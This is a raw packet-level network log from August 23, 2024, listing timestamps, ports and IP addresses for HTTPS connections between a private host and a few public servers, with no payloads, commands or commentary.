Aug 23, 2024 16:21:11.719338894 CEST	443	49703	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:11.721055984 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:11.721070051 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:11.721141100 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:11.721362114 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:11.721371889 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:11.904238939 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 23, 2024 16:21:12.289545059 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.289855003 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.289875984 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.290204048 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.291853905 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.291918993 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.292045116 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.332524061 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.466288090 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.466361046 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.466432095 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.466459036 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.470453978 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.470541954 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.470561981 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.475208044 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.475267887 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.475287914 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.489345074 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.489418030 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.489439964 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.498922110 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.498980045 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.499001026 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.544188976 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.544214964 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.589248896 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.606416941 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.608436108 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.608510017 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.608532906 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.611542940 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.611601114 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.611608028 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.615658045 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.615730047 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.615750074 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.617882013 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.617942095 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.617959976 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.621246099 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.621299028 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.621311903 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.623922110 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.623984098 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.623996973 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.628961086 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.629026890 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.629049063 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.644844055 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.644875050 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.644906998 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.644915104 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.644965887 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.648009062 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.649868965 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.649900913 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.649934053 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.649941921 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.649991989 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.650002003 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.650021076 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.650070906 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.650162935 CEST	49704	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.650170088 CEST	443	49704	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.676683903 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:12.676708937 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:12.676778078 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:12.676990032 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:12.677004099 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:12.682168007 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.682200909 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:12.682265043 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.682421923 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:12.682430029 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.110241890 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 23, 2024 16:21:13.128221989 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:13.128259897 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:13.128333092 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:13.128556967 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:13.128568888 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:13.157634974 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.157864094 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.157877922 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.159318924 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.159379005 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.159749031 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.159809113 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.159883976 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.159889936 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.175354004 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.175612926 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.175628901 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.176515102 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.176579952 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.176891088 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.176943064 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.177023888 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.177031040 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.204216957 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.220225096 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.305696011 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.305747986 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.305793047 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.305808067 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.307841063 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.307902098 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.307908058 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.313054085 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.313086033 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.313108921 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.313117027 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.313155890 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.315618992 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.318628073 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.318666935 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.318679094 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.318686008 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.318728924 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.320733070 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.347769976 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.347831011 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.347882032 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.347897053 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.349452019 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.349508047 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.349514961 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.353214025 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.353250980 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.353259087 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.353265047 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.353306055 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.355851889 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.358895063 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.358922005 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.358947039 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.358952999 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.358999968 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.362255096 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.369317055 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.374104977 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.374130964 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.374211073 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.374466896 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.374475956 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.409235954 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.413273096 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.415311098 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.415339947 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.415380955 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.415394068 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.415438890 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.417891979 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.420836926 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.420871973 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.420883894 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.420890093 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.420933962 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.423990011 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.426858902 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.426897049 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.426939011 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.426945925 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.427020073 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.429534912 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.431797028 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.431828976 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.431854963 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.431859970 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.431926012 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.433619976 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.435759068 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.435794115 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.435807943 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.435815096 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.435885906 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.437977076 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.438092947 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.438146114 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.438283920 CEST	49705	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:13.438297987 CEST	443	49705	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:13.439655066 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.442260981 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.442342043 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.442348957 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.444006920 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.444058895 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.444066048 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.446178913 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.446213007 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.446230888 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.446237087 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.446279049 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.447524071 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.450058937 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.450130939 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.450136900 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.451642990 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.451700926 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.451706886 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.453352928 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.453414917 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.453421116 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.454858065 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.454905987 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.454910994 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.459860086 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.459889889 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.459948063 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.459954023 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.460002899 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.462733030 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.463926077 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.463953972 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.463973999 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.463979959 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.464016914 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.467371941 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.520262003 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.534478903 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.535135984 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.535264015 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.535271883 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.541678905 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.541687012 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.541763067 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.541769981 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.547633886 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.547702074 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.547708035 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.547749043 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.550410032 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.555917025 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.555990934 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.555996895 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.556041002 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.561440945 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.561486959 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.561502934 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.561513901 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.561544895 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.561556101 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.561603069 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.561644077 CEST	49706	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.561655045 CEST	443	49706	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.566479921 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.566519022 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.566591978 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.566832066 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:13.566843987 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:13.761235952 CEST	49689	80	192.168.2.16	192.229.211.108
Aug 23, 2024 16:21:13.955075026 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:13.955344915 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:13.955368042 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:13.956234932 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:13.956296921 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:13.957312107 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:13.957362890 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:14.009221077 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:14.009243965 CEST	443	49709	172.217.16.132	192.168.2.16
Aug 23, 2024 16:21:14.057244062 CEST	49709	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:21:14.285986900 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.286325932 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.286339998 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.286624908 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.286930084 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.286984921 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.287079096 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.332499027 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.435503960 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.435786009 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.435827971 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.436166048 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.436585903 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.436667919 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.436800003 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.453809023 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.453855038 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.453923941 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.453953028 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.455368042 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.455430031 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.455436945 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.457500935 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.457555056 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.457561016 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.461950064 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.461983919 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.462018013 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.462024927 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.462074041 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.463761091 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.465240002 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.465310097 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.465316057 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.484500885 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.514240980 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.541858912 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.542373896 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.542439938 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.542474031 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.545522928 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.545547009 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.545588970 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.545608997 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.545669079 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.547668934 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.549371004 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.549396992 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.549431086 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.549438000 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.549485922 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.551400900 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.552903891 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.552934885 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.552966118 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.552972078 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.553009987 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.554452896 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.555990934 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.556018114 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.556044102 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.556066036 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.556108952 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.557677984 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.559508085 CEST	443	49711	104.18.94.41	192.168.2.16
